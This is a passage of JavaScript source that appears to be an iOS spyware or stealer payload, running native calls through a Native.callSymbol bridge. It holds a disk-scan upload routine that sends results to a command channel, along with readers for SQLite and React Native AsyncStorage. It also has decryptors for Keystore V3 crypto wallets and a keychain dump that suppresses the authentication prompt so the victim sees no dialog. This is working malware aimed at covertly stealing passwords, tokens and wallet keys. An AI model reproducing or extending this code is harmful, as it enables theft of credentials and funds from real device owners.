String(scanErr));\n\t}\n\n\tflush();\n\tNative.callSymbol(\"fsync\", fd);\n\tNative.callSymbol(\"free\", BigInt(wBuf));\n\tNative.callSymbol(\"free\", BigInt(statBuf));\n\n\tvar fileSize = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\n\tvar upResult = _sendChunksFromFd(cmd.command_id, fd, fileSize, \"scanDisk_root.txt\", \"disk_scan\",\n\t\t{ start_ms: startMs, end_ms: Date.now() });\n\n\tNative.callSymbol(\"close\", fd);\n\tfd = -1;\n\tNative.callSymbol(\"unlink\", tmpPath);\n\n\tif (!upResult || !upResult.ok) {\n\t\ttry {\n\t\t\tsendJSON(cmd.command_id, {\n\t\t\t\tstatus: \"upload_failed\",\n\t\t\t\terror: upResult ? upResult.error : \"null result\",\n\t\t\t\tchunks_sent: upResult ? upResult.sent : 0,\n\t\t\t\tchunks_total: upResult ? upResult.total : 0,\n\t\t\t\tfile_size: fileSize,\n\t\t\t\tscan_items: itemCount,\n\t\t\t\ttmp_path: tmpPath,\n\t\t\t\t_task_id: p._task_id || \"\",\n\t\t\t\t_task_type: p._task_type || \"\"\n\t\t\t}, \"disk_scan_error.json\");\n\t\t} catch(re) {}\n\t}\n}\n\n// ============================================================================\n// Native SQLite Query Helper\n// ============================================================================\n\nvar _sqliteLoaded = false;\nfunction _ensureSqlite() {\n\tif (_sqliteLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\", \"/usr/lib/libsqlite3.dylib\", 1);\n\tif (!h || h === 0n) return false;\n\t_sqliteLoaded = true;\n\treturn true;\n}\n\nfunction _sqliteQuery(dbPath, sql, maxRows) {\n\tif (!_ensureSqlite()) return null;\n\tmaxRows = maxRows || 500;\n\tvar ppDb = Native.callSymbol(\"malloc\", 8);\n\tif (!ppDb || ppDb === 0n) return null;\n\tNative.write64(ppDb, 0n);\n\tvar rc = Number(Native.callSymbol(\"sqlite3_open_v2\", dbPath, ppDb, 1, 0n));\n\tvar db = Native.readPtr(ppDb);\n\tNative.callSymbol(\"free\", ppDb);\n\tif (rc !== 0 || !db || db === 0n) {\n\t\tif (db && db !== 0n) Native.callSymbol(\"sqlite3_close\", db);\n\t\treturn null;\n\t}\n\ttry {\n\t\tvar ppStmt = Native.callSymbol(\"malloc\", 8);\n\t\tif (!ppStmt || ppStmt === 0n) return null;\n\t\tNative.write64(ppStmt, 0n);\n\t\trc = Number(Native.callSymbol(\"sqlite3_prepare_v2\", db, sql, -1, ppStmt, 0n));\n\t\tvar stmt = Native.readPtr(ppStmt);\n\t\tNative.callSymbol(\"free\", ppStmt);\n\t\tif (rc !== 0 || !stmt || stmt === 0n) return null;\n\t\ttry {\n\t\t\tvar rows = [];\n\t\t\tvar colCount = Number(Native.callSymbol(\"sqlite3_column_count\", stmt));\n\t\t\tvar colNames = [];\n\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\tvar np = Native.callSymbol(\"sqlite3_column_name\", stmt, c);\n\t\t\t\tcolNames.push(np && np !== 0n ? Native.readString(np, 256).replace(/\\0/g, \"\") : \"col\" + c);\n\t\t\t}\n\t\t\twhile (rows.length < maxRows) {\n\t\t\t\trc = Number(Native.callSymbol(\"sqlite3_step\", stmt));\n\t\t\t\tif (rc !== 100) break;\n\t\t\t\tvar row = {};\n\t\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\t\tvar tp = Number(Native.callSymbol(\"sqlite3_column_type\", stmt, c));\n\t\t\t\t\tif (tp === 5) { row[colNames[c]] = null; continue; }\n\t\t\t\t\tif (tp === 1) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_int64\", stmt, c));\n\t\t\t\t\t} else if (tp === 2) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_double\", stmt, c));\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar txtP = Native.callSymbol(\"sqlite3_column_text\", stmt, c);\n\t\t\t\t\t\tvar txtLen = Number(Native.callSymbol(\"sqlite3_column_bytes\", stmt, c));\n\t\t\t\t\t\tif (txtP && txtP !== 0n && txtLen > 0) {\n\t\t\t\t\t\t\trow[colNames[c]] = Native.readString(txtP, txtLen + 1).substring(0, txtLen);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\trow[colNames[c]] = \"\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\trows.push(row);\n\t\t\t}\n\t\t\treturn { columns: colNames, rows: rows };\n\t\t} finally { Native.callSymbol(\"sqlite3_finalize\", stmt); }\n\t} finally { Native.callSymbol(\"sqlite3_close\", db); }\n}\n\n// ============================================================================\n// Native CommonCrypto Wrappers\n// ============================================================================\n\nfunction _sha256(data) {\n\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tif (!inBuf || inBuf === 0n) return null;\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!outBuf || outBuf === 0n) { Native.callSymbol(\"free\", inBuf); return null; }\n\tNative.write(inBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CC_SHA256\", inBuf, BigInt(data.length), outBuf);\n\tvar hash = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn hash;\n}\n\nfunction _hmacSha256(key, data) {\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(key.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, key.buffer ? key.buffer : key);\n\tNative.write(dataBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(key.length),\n\t\tdataBuf, BigInt(data.length), outBuf);\n\tvar mac = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn mac;\n}\n\nfunction _pbkdf2(password, salt, iterations, keyLen) {\n\tvar pwBytes = new Uint8Array(password.length);\n\tfor (var i = 0; i < password.length; i++) pwBytes[i] = password.charCodeAt(i);\n\tvar hLen = 32;\n\tvar numBlocks = Math.ceil(keyLen / hLen);\n\tvar dk = new Uint8Array(numBlocks * hLen);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(pwBytes.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(Math.max(salt.length + 4, hLen)));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, pwBytes.buffer);\n\tfor (var blk = 1; blk <= numBlocks; blk++) {\n\t\tvar intBe = new Uint8Array(4);\n\t\tintBe[0] = (blk >>> 24) & 0xff;\n\t\tintBe[1] = (blk >>> 16) & 0xff;\n\t\tintBe[2] = (blk >>> 8) & 0xff;\n\t\tintBe[3] = blk & 0xff;\n\t\tvar msg = new Uint8Array(salt.length + 4);\n\t\tmsg.set(salt instanceof Uint8Array ? salt : new Uint8Array(salt), 0);\n\t\tmsg.set(intBe, salt.length);\n\t\tNative.write(dataBuf, msg.buffer);\n\t\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(pwBytes.length),\n\t\t\tdataBuf, BigInt(msg.length), outBuf);\n\t\tvar u = new Uint8Array(Native.read(outBuf, 32));\n\t\tvar t = new Uint8Array(u);\n\t\tfor (var iter = 1; iter < iterations; iter++) {\n\t\t\tNative.write(dataBuf, u.buffer);\n\t\t\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(pwBytes.length),\n\t\t\t\tdataBuf, 32n, outBuf);\n\t\t\tu = new Uint8Array(Native.read(outBuf, 32));\n\t\t\tfor (var j = 0; j < hLen; j++) t[j] ^= u[j];\n\t\t}\n\t\tdk.set(t, (blk - 1) * hLen);\n\t}\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn dk.slice(0, keyLen);\n}\n\nfunction _aesEcbEncryptBlock(cryptorRef, block16) {\n\tvar inBuf = Native.callSymbol(\"malloc\", 16n);\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\treturn null;\n\t}\n\tNative.write(inBuf, block16.buffer ? block16.buffer : block16);\n\tNative.write64(writtenBuf, 0n);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\tcryptorRef, inBuf, 16n, outBuf, 32n, writtenBuf));\n\tvar written = Number(Native.readPtr(writtenBuf));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", writtenBuf);\n\tif (rc !== 0 || written < 16) { Native.callSymbol(\"free\", outBuf); return null; }\n\tvar result = new Uint8Array(Native.read(outBuf, 16));\n\tNative.callSymbol(\"free\", outBuf);\n\treturn result;\n}\n\nfunction _aesCtrDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tif (!keyBuf) { Native.callSymbol(\"free\", refBuf); return null; }\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t0, 0, 2, keyBuf, BigInt(keyBytes.length), 0n, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar counter = new Uint8Array(16);\n\t\tfor (var i = 0; i < 16 && i < ivBytes.length; i++) counter[i] = ivBytes[i];\n\t\tvar output = new Uint8Array(cipherBytes.length);\n\t\tfor (var off = 0; off < cipherBytes.length; off += 16) {\n\t\t\tvar ks = _aesEcbEncryptBlock(ref, counter);\n\t\t\tif (!ks) return null;\n\t\t\tvar remain = cipherBytes.length - off;\n\t\t\tvar len = remain < 16 ? remain : 16;\n\t\t\tfor (var j = 0; j < len; j++) output[off + j] = cipherBytes[off + j] ^ ks[j];\n\t\t\tfor (var ci = 15; ci >= 0; ci--) {\n\t\t\t\tcounter[ci] = (counter[ci] + 1) & 0xff;\n\t\t\t\tif (counter[ci] !== 0) break;\n\t\t\t}\n\t\t}\n\t\treturn output;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _aesCbcDecrypt(keyBytes, ivBytes, cipherBytes) {\n\tvar refBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!refBuf) return null;\n\tNative.write64(refBuf, 0n);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(keyBytes.length));\n\tvar ivBuf = Native.callSymbol(\"malloc\", BigInt(ivBytes.length));\n\tif (!keyBuf || !ivBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (ivBuf) Native.callSymbol(\"free\", ivBuf);\n\t\tNative.callSymbol(\"free\", refBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, keyBytes.buffer ? keyBytes.buffer : keyBytes);\n\tNative.write(ivBuf, ivBytes.buffer ? ivBytes.buffer : ivBytes);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorCreate\",\n\t\t1, 0, 0, keyBuf, BigInt(keyBytes.length), ivBuf, refBuf));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", ivBuf);\n\tif (rc !== 0) { Native.callSymbol(\"free\", refBuf); return null; }\n\tvar ref = Native.readPtr(refBuf);\n\tNative.callSymbol(\"free\", refBuf);\n\tif (!ref || ref === 0n) return null;\n\ttry {\n\t\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(cipherBytes.length));\n\t\tvar outBuf = Native.callSymbol(\"calloc\", 1n, BigInt(cipherBytes.length + 16));\n\t\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\t\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\t\treturn null;\n\t\t}\n\t\tNative.write(inBuf, cipherBytes.buffer ? cipherBytes.buffer : cipherBytes);\n\t\tNative.write64(writtenBuf, 0n);\n\t\trc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\t\tref, inBuf, BigInt(cipherBytes.length), outBuf, BigInt(cipherBytes.length + 16), writtenBuf));\n\t\tvar written = Number(Native.readPtr(writtenBuf));\n\t\tNative.callSymbol(\"free\", inBuf);\n\t\tNative.callSymbol(\"free\", writtenBuf);\n\t\tif (rc !== 0) { Native.callSymbol(\"free\", outBuf); return null; }\n\t\tvar result = new Uint8Array(Native.read(outBuf, written));\n\t\tNative.callSymbol(\"free\", outBuf);\n\t\treturn result;\n\t} finally { Native.callSymbol(\"CCCryptorRelease\", ref); }\n}\n\nfunction _hexToBytes(hex) {\n\tvar bytes = new Uint8Array(hex.length / 2);\n\tfor (var i = 0; i < hex.length; i += 2) {\n\t\tbytes[i / 2] = parseInt(hex.substring(i, i + 2), 16);\n\t}\n\treturn bytes;\n}\n\nfunction _bytesToHex(bytes) {\n\tvar hex = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\thex += (bytes[i] < 16 ? \"0\" : \"\") + bytes[i].toString(16);\n\t}\n\treturn hex;\n}\n\n// ============================================================================\n// RCTAsyncLocalStorage Reader\n// ============================================================================\n\nfunction _readAsyncStorageManifest(storagePath) {\n\tvar mpath = storagePath + \"/manifest.json\";\n\tvar bytes = _readFileBytes(mpath, 4 * 1024 * 1024);\n\tif (!bytes || bytes.length === 0) return null;\n\ttry {\n\t\tvar json = JSON.parse(_rawToStr(bytes));\n\t\tvar result = {};\n\t\tfor (var key in json) {\n\t\t\tif (!json.hasOwnProperty(key)) continue;\n\t\t\tvar val = json[key];\n\t\t\tif (typeof val === \"string\") {\n\t\t\t\tresult[key] = val;\n\t\t\t} else if (val && typeof val === \"object\") {\n\t\t\t\tvar fpath = storagePath + \"/\" + key;\n\t\t\t\tvar fb = _readFileBytes(fpath, 8 * 1024 * 1024);\n\t\t\t\tif (fb && fb.length > 0) result[key] = _rawToStr(fb);\n\t\t\t}\n\t\t}\n\t\treturn result;\n\t} catch (e) { return null; }\n}\n\nfunction _readAsyncStorageSqlite(storagePath) {\n\tvar dbNames = [\"RCTAsyncLocalStorage_V1\", \"asyncstorage.db\", \"RCTAsyncLocalStorage\"];\n\tvar result = null;\n\tfor (var di = 0; di < dbNames.length; di++) {\n\t\tvar dbPath = storagePath + \"/\" + dbNames[di];\n\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) {\n\t\t\tdbPath = storagePath.replace(/\\/RCTAsyncLocalStorage_V1$/, \"\") + \"/\" + dbNames[di];\n\t\t\tif (Number(Native.callSymbol(\"access\", dbPath, 0)) !== 0) continue;\n\t\t}\n\t\tvar tables = _sqliteQuery(dbPath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (!tables || !tables.rows.length) continue;\n\t\tvar tableName = null;\n\t\tfor (var ti = 0; ti < tables.rows.length; ti++) {\n\t\t\tvar tn = tables.rows[ti].name;\n\t\t\tif (tn === \"catalystLocalStorage\" || tn === \"key_value\" ||\n\t\t\t\ttn === \"keyvaluestore\" || tn === \"cache\") {\n\t\t\t\ttableName = tn;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (!tableName) tableName = tables.rows[0].name;\n\t\tvar data = _sqliteQuery(dbPath, \"SELECT * FROM \\\"\" + tableName + \"\\\"\");\n\t\tif (!data || !data.rows.length) continue;\n\t\tresult = {};\n\t\tvar kCol = data.columns.indexOf(\"key\") >= 0 ? \"key\" : data.columns[0];\n\t\tvar vCol = data.columns.indexOf(\"value\") >= 0 ? \"value\" : data.columns[1];\n\t\tfor (var ri = 0; ri < data.rows.length; ri++) {\n\t\t\tresult[data.rows[ri][kCol]] = data.rows[ri][vCol];\n\t\t}\n\t\tbreak;\n\t}\n\treturn result;\n}\n\nfunction _readAsyncStorage(containerPath, subPath) {\n\tvar storagePath = containerPath + \"/\" + subPath;\n\tvar st = _statFile(storagePath);\n\tif (!st) return null;\n\tif (st.isDir) {\n\t\tvar res = _readAsyncStorageManifest(storagePath);\n\t\tif (res) return res;\n\t\treturn _readAsyncStorageSqlite(storagePath);\n\t}\n\tif (st.isFile) {\n\t\tvar r = _sqliteQuery(storagePath, \"SELECT name FROM sqlite_master WHERE type='table'\");\n\t\tif (r && r.rows.length) {\n\t\t\tvar result = {};\n\t\t\tfor (var ti = 0; ti < r.rows.length; ti++) {\n\t\t\t\tvar d = _sqliteQuery(storagePath, \"SELECT * FROM \\\"\" + r.rows[ti].name + \"\\\"\");\n\t\t\t\tif (!d || !d.rows.length) continue;\n\t\t\t\tvar kCol = d.columns.indexOf(\"key\") >= 0 ? \"key\" : d.columns[0];\n\t\t\t\tvar vCol = d.columns.indexOf(\"value\") >= 0 ? \"value\" : d.columns[1];\n\t\t\t\tfor (var ri = 0; ri < d.rows.length; ri++) {\n\t\t\t\t\tresult[d.rows[ri][kCol]] = d.rows[ri][vCol];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}\n\treturn null;\n}\n\n// ============================================================================\n// Keystore V3 Decryption (scrypt/PBKDF2 + AES-CTR)\n// ============================================================================\n\nfunction _decryptKeystoreV3(crypto, password) {\n\tif (!crypto || !password) return null;\n\tvar kdfparams = crypto.kdfparams;\n\tvar cipherparams = crypto.cipherparams;\n\tvar ciphertextHex = crypto.ciphertext;\n\tif (!kdfparams || !cipherparams || !ciphertextHex) return null;\n\n\tvar salt = _hexToBytes(kdfparams.salt);\n\tvar dkLen = kdfparams.dklen || 32;\n\tvar derivedKey = null;\n\n\tif (crypto.kdf === \"pbkdf2\") {\n\t\tvar iters = kdfparams.c || 262144;\n\t\tderivedKey = _pbkdf2(password, salt, iters, dkLen);\n\t} else {\n\t\treturn { error: \"scrypt_not_supported_on_device\", kdf: crypto.kdf };\n\t}\n\tif (!derivedKey) return { error: \"kdf_failed\" };\n\n\tvar ciphertext = _hexToBytes(ciphertextHex);\n\tvar iv = _hexToBytes(cipherparams.iv);\n\n\t// MAC verification: SHA256(derivedKey[16:32] + ciphertext) should match crypto.mac\n\tif (crypto.mac) {\n\t\tvar macInput = new Uint8Array(16 + ciphertext.length);\n\t\tmacInput.set(derivedKey.slice(16, 32), 0);\n\t\tmacInput.set(ciphertext, 16);\n\t\tvar computedMac = _sha256(macInput);\n\t\tif (computedMac && _bytesToHex(computedMac) !== crypto.mac) {\n\t\t\treturn { error: \"mac_mismatch\" };\n\t\t}\n\t}\n\n\tvar cipher = (crypto.cipher || \"aes-128-ctr\").toLowerCase();\n\tvar encKey = derivedKey.slice(0, 16);\n\tvar decrypted = null;\n\tif (cipher === \"aes-128-ctr\") {\n\t\tdecrypted = _aesCtrDecrypt(encKey, iv, ciphertext);\n\t} else if (cipher === \"aes-128-cbc\") {\n\t\tdecrypted = _aesCbcDecrypt(encKey, iv, ciphertext);\n\t}\n\tif (!decrypted) return { error: \"decrypt_failed\" };\n\n\ttry {\n\t\tvar str = \"\";\n\t\tfor (var i = 0; i < decrypted.length; i++) {\n\t\t\tif (decrypted[i] === 0) break;\n\t\t\tstr += String.fromCharCode(decrypted[i]);\n\t\t}\n\t\treturn { plaintext: str };\n\t} catch (e) { return { error: \"decode_failed: \" + e }; }\n}\n\n// EncryptedMessage format (fixed key AES-CTR)\nfunction _decryptEncryptedMessage(encObj, fixedKeyHex) {\n\tif (!encObj || !encObj.encStr || !encObj.nonce) return null;\n\tvar key = _hexToBytes(fixedKeyHex);\n\tvar iv = _hexToBytes(encObj.nonce);\n\tvar ciphertext = _hexToBytes(encObj.encStr);\n\tvar plainBytes = _aesCtrDecrypt(key, iv, ciphertext);\n\tif (!plainBytes) return null;\n\tvar str = \"\";\n\tfor (var i = 0; i < plainBytes.length; i++) {\n\t\tif (plainBytes[i] === 0) break;\n\t\tstr += String.fromCharCode(plainBytes[i]);\n\t}\n\treturn str;\n}\n\n// ============================================================================\n// Keychain Password Extraction (SecItemCopyMatching)\n// ============================================================================\n\nvar _securityLoaded = false;\nfunction _ensureSecurity() {\n\tif (_securityLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/Security.framework/Security\", 1);\n\tif (!h || h === 0n) return false;\n\t_securityLoaded = true;\n\treturn true;\n}\n\nfunction _cfStr(s) {\n\treturn Native.callSymbol(\"CFStringCreateWithCString\", 0n, s, 0x08000100);\n}\nfunction _cfRelease(ref) {\n\tif (ref && ref !== 0n) Native.callSymbol(\"CFRelease\", ref);\n}\nfunction _cfStringToJS(cfStr) {\n\tif (!cfStr || cfStr === 0n) return null;\n\tvar cstr = Native.callSymbol(\"CFStringGetCStringPtr\", cfStr, 0x08000100);\n\tif (cstr && cstr !== 0n) {\n\t\treturn Native.readString(cstr, 4096).replace(/\\0/g, \"\");\n\t}\n\tvar buf = Native.callSymbol(\"malloc\", 4096);\n\tif (!buf || buf === 0n) return null;\n\tif (Native.callSymbol(\"CFStringGetCString\", cfStr, buf, 4096, 0x08000100)) {\n\t\tvar s = Native.readString(buf, 4096).replace(/\\0/g, \"\");\n\t\tNative.callSymbol(\"free\", buf);\n\t\treturn s;\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn null;\n}\nfunction _cfDataToBytes(cfData) {\n\tif (!cfData || cfData === 0n) return null;\n\tvar len = Number(Native.callSymbol(\"CFDataGetLength\", cfData));\n\tif (len <= 0) return null;\n\tvar ptr = Native.callSymbol(\"CFDataGetBytePtr\", cfData);\n\tif (!ptr || ptr === 0n) return null;\n\treturn new Uint8Array(Native.read(ptr, len));\n}\n\nfunction _searchKeychain(service, account, accessGroup) {\n\tif (!_ensureSecurity()) return null;\n\tNative.callSymbol(\"dlopen\",\n\t\t\"/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation\", 1);\n\n\tvar kSecClass = Native.callSymbol(\"dlsym\", -2n, \"kSecClass\");\n\tvar kSecClassGenericPassword = Native.callSymbol(\"dlsym\", -2n, \"kSecClassGenericPassword\");\n\tvar kSecAttrService = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrService\");\n\tvar kSecAttrAccount = Native.callSymbol(\"dlsym\", -2n, \"kSecAttrAccount\");\n\tvar kSecReturnData = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnData\");\n\tvar kSecReturnAttributes = Native.callSymbol(\"dlsym\", -2n, \"kSecReturnAttributes\");\n\tvar kSecMatchLimit = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimit\");\n\tvar kSecMatchLimitAll = Native.callSymbol(\"dlsym\", -2n, \"kSecMatchLimitAll\");\n\tvar kCFBooleanTrue = Native.callSymbol(\"dlsym\", -2n, \"kCFBooleanTrue\");\n\n\tif (!kSecClass || kSecClass === 0n) return null;\n\n\tvar svcCF = 0n, acctCF = 0n;\n\tvar _authUIKeyCF = 0n, _authUIValCF = 0n;\n\ttry {\n\t\tvar keys = [];\n\t\tvar vals = [];\n\n\t\tkeys.push(Native.readPtr(kSecClass));\n\t\tvals.push(Native.readPtr(kSecClassGenericPassword));\n\t\tkeys.push(Native.readPtr(kSecReturnData));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecReturnAttributes));\n\t\tvals.push(Native.readPtr(kCFBooleanTrue));\n\t\tkeys.push(Native.readPtr(kSecMatchLimit));\n\t\tvals.push(Native.readPtr(kSecMatchLimitAll));\n\n\t\t// fix #3: skip auth UI so locked devices don't prompt \"Enter password for\n\t\t// SpringBoard\". Mirrors _secDumpClass. Auth-protected items are silently\n\t\t// skipped (errSecInteractionNotAllowed) instead of triggering a dialog.\n\t\t_authUIKeyCF = _cfStr(\"u_AuthUI\");\n\t\t_authUIValCF = _cfStr(\"u_AuthUISkip\");\n\t\tif (_authUIKeyCF && _authUIKeyCF !== 0n && _authUIValCF && _authUIValCF !== 0n) {\n\t\t\tkeys.push(_authUIKeyCF);\n\t\t\tvals.push(_authUIValCF);\n\t\t}\n\n\t\tif (service) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrService));\n\t\t\tsvcCF = _cfStr(service);\n\t\t\tvals.push(svcCF);\n\t\t}\n\t\tif (account) {\n\t\t\tkeys.push(Native.readPtr(kSecAttrAccount));\n\t\t\tacctCF = _cfStr(account);\n\t\t\tvals.push(acctCF);\n\t\t}\n\n\t\tvar nItems = keys.length;\n\t\tvar keysBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tvar valsBuf = Native.callSymbol(\"malloc\", BigInt(nItems * 8));\n\t\tif (!keysBuf || keysBuf === 0n || !valsBuf || valsBuf === 0n) {\n\t\t\tif (keysBuf && keysBuf !== 0n) Native.callSymbol(\"free\", keysBuf);\n\t\t\tif (valsBuf && valsBuf !== 0n) Native.callSymbol(\"free\", valsBuf);\n\t\t\treturn null;\n\t\t}\n\t\tfor (var i = 0; i < nItems; i++) {\n\t\t\tNative.write64(keysBuf + BigInt(i * 8), keys[i]);\n\t\t\tNative.write64(valsBuf + BigInt(i * 8), vals[i]);\n\t\t}\n\n\t\tvar queryDict = Native.callSymbol(\"CFDictionaryCreate\", 0n,\n\t\t\tkeysBuf, valsBuf, nItems, 0n, 0n);\n\t\tNative.callSymbol(\"free\", keysBuf);\n\t\tNative.callSymbol(\"free\", valsBuf);\n\n\t\tif (!queryDict || queryDict === 0n) return null;\n\n\t\tvar resultPtr = Native.callSymbol(\"malloc\", 8);\n\t\tNative.write64(resultPtr, 0n);\n\t\tvar status = Number(Native.callSymbol(\"SecItemCopyMatching\", queryDict, resultPtr));\n\t\tvar resultRef = Native.readPtr(resultPtr);\n\t\tNative.callSymbol(\"free\", resultPtr);\n\t\t_cfRelease(queryDict);\n\n\t\tif (status !== 0 || !resultRef || resultRef === 0n) return null;\n\n\t\tvar results = [];\n\t\ttry {\n\t\t\tvar count = Number(Native.callSymbol(\"CFArrayGetCount\", resultRef));\n\t\t\tvar kSecValueData = Native.callSymbol(\"dlsym\", -2n, \"kSecValueData\");\n\t\t\tvar kSecValueDataVal = kSecValueData && kSecValueData !== 0n ? Native.readPtr(kSecValueData) : 0n;\n\t\t\tvar svcKeyVal = Native.readPtr(kSecAttrService);\n\t\t\tvar acctKeyVal = Native.readPtr(kSecAttrAccount);\n\n\t\t\tfor (var idx = 0; idx < count && idx < 50; idx++) {\n\t\t\t\tvar item = Native.callSymbol(\"CFArrayGetValueAtIndex\", resultRef, idx);\n\t\t\t\tif (!item || item === 0n) continue;\n\t\t\t\ttry {\n\t\t\t\t\tvar entry = {};\n\t\t\t\t\tvar sv = Native.callSymbol(\"CFDictionaryGetValue\", item, svcKeyVal);\n\t\t\t\t\tif (sv && sv !== 0n) entry.service = _cfStringToJS(sv);\n\t\t\t\t\tvar av = Native.callSymbol(\"CFDictionaryGetValue\", item, acctKeyVal);\n\t\t\t\t\tif (av && av !== 0n) entry.account = _cfStringToJS(av);\n\t\t\t\t\tif (kSecValueDataVal && kSecValueDataVal !== 0n) {\n\t\t\t\t\t\tvar dv = Native.callSymbol(\"CFDictionaryGetValue\", item, kSecValueDataVal);\n\t\t\t\t\t\tif (dv && dv !== 0n) {\n\t\t\t\t\t\t\tvar dataBytes = _cfDataToBytes(dv);\n\t\t\t\t\t\t\tif (dataBytes) {\n\t\t\t\t\t\t\t\tvar dataStr = \"\";\n\t\t\t\t\t\t\t\tfor (var di = 0; di < dataBytes.length; di++)\n\t\t\t\t\t\t\t\t\tdataStr += String.fromCharCode(dataBytes[di]);\n\t\t\t\t\t\t\t\tentry.data = dataStr;\n\t\t\t\t\t\t\t\tentry.data_hex = _bytesToHex(dataBytes);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tresults.push(entry);\n\t\t\t\t} catch (itemErr) {}\n\t\t\t}\n\t\t} finally { _cfRelease(resultRef); }\n\t\treturn results;\n\t} finally {\n\t\tif (svcCF && svcCF !== 0n) _cfRelease(svcCF);\n\t\tif (acctCF && acctCF !== 0n) _cfRelease(acctCF);\n\t\tif (_authUIKeyCF && _authUIKeyCF !== 0n) _cfRelease(_authUIKeyCF);\n\t\tif (_authUIValCF && _authUIValCF !== 0n) _cfRelease(_authUIValCF);\n\t}\n}\n\nfunction 